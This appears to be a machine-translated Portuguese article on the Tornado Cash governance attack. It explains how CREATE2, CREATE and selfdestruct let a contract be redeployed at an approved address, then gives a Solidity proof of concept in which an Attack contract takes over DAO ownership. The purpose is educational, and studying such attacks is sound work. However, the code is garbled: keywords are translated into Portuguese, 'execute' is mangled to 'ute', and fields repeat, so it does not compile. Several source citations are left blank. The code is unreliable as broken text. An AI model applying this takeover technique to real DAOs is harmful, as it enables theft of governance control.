Cerca de duas semanas atrás (20 de maio), o conhecido protocolo de mistura de moedas Tornado Cash sofreu um ataque de governança e os hackers ganharam o controle (proprietário) do contrato de governança da Tornado Cash.
O processo de ataque é o seguinte: o invasor primeiro envia uma proposta de “aparência normal” e, após a aprovação da proposta, destrói o endereço do contrato a ser executado pela proposta e recria um contrato de ataque no endereço.
Para o processo de ataque, você pode visualizar a análise do princípio de ataque da proposta Tornado.Cash da SharkTeam [1] 。
A chave para o ataque aqui é implantar diferentes contratos no mesmo endereço. Como isso é feito?
Existem dois opcodes no EVM para criar contratos: CREATE e CREATE2.
Ao usar new Token() para usar o opcode CREATE, a função de cálculo do endereço do contrato criado é:
endereço tokenAddr = bytes20(keccak256(senderAddress, nonce))
O endereço do contrato criado é determinado por creator address + creator Nonce (número de contratos criados), pois o Nonce sempre aumenta gradativamente, quando o Nonce aumenta, o endereço do contrato criado é sempre diferente.
Ao adicionar um salt new Token{salt: bytes32()}(), o opcode CREATE2 é usado e a função de cálculo do endereço do contrato criado é:
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
O endereço do contrato criado é endereço do criador + sal personalizado + bytecode do contrato inteligente a ser implantado, portanto, apenas o mesmo bytecode e o mesmo valor de sal podem ser usados Pode ser implantado para o mesmo endereço de contrato.
Então, como diferentes contratos podem ser implantados no mesmo endereço?
O invasor usa Create2 e Create juntos para criar o contrato, conforme mostrado na figura:
Código referenciado de:
Primeiro, use Create2 para implantar um Deployer de contrato e, em seguida, use Create no Deployer para criar a proposta de contrato de destino (para uso de proposta). Ambos os contratos de Implantador e Proposta possuem implementações de autodestruição (selfdestruct).
Após a aprovação da proposta, o invasor destrói os contratos do Implantador e da Proposta e, em seguida, recria o Implantador com o mesmo slat. ser obtido, mas neste momento o Deployer O estado do contrato é limpo e o nonce começa em 0, então outro ataque de contrato pode ser criado usando este nonce.
Este código é de:
// SPDX-License-Identifier: MIT solidez de pragma ^0.8.17; contrato DAO { struct Proposta { alvo do endereço; booleano aprovado; bool utado; } endereço public owner = msg.sender; Proposta[] propostas públicas; função aprovar(alvo do endereço) externo { require(msg.sender == proprietário, “não autorizado”); propostas.push(Proposta({alvo: alvo, aprovado: verdadeiro, aprovado: falso})); } function ute(uint256 offerId) pagável externo { Proposta de armazenamento de proposta = propostas [proposalId] ; require(proposta.aprovada, “não aprovada”); require(!proposta.uted, “uted”); proposta.uted = verdadeiro; (bool ok, ) = proposta.target.delegatecall( abi.encodeWithSignature(“uteProposal()”) ); require(ok, “falha na chamada do delegado”); } } Proposta de contrato { log de eventos (mensagem de string); função uteProposta() externa { emit Log(“Código executado aprovado pelo DAO”); } função EmergencyStop() externo { selfdestruct(pago(endereço(0))); } } ataque de contrato { log de eventos (mensagem de string); dirigir-se ao proprietário público; função uteProposta() externa { emit Log(“Código executado não aprovado pelo DAO :)”); // Por exemplo - definir o proprietário do DAO como atacante proprietário = msg.remetente; } } contrato Implantador Implantador { log de eventos (endereço addr); função implantar () externo { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emitir Log(addr); } } contratante Deployer { log de eventos (endereço addr); function deployProposal() externo { endereço addr = endereço(new Proposta()); emitir Log(addr); } function deployAttack() externo { endereço addr = endereço(novo Ataque()); emitir Log(addr); } função kill() externa { selfdestruct(pago(endereço(0))); } }
Você pode usar este código para percorrê-lo sozinho no Remix.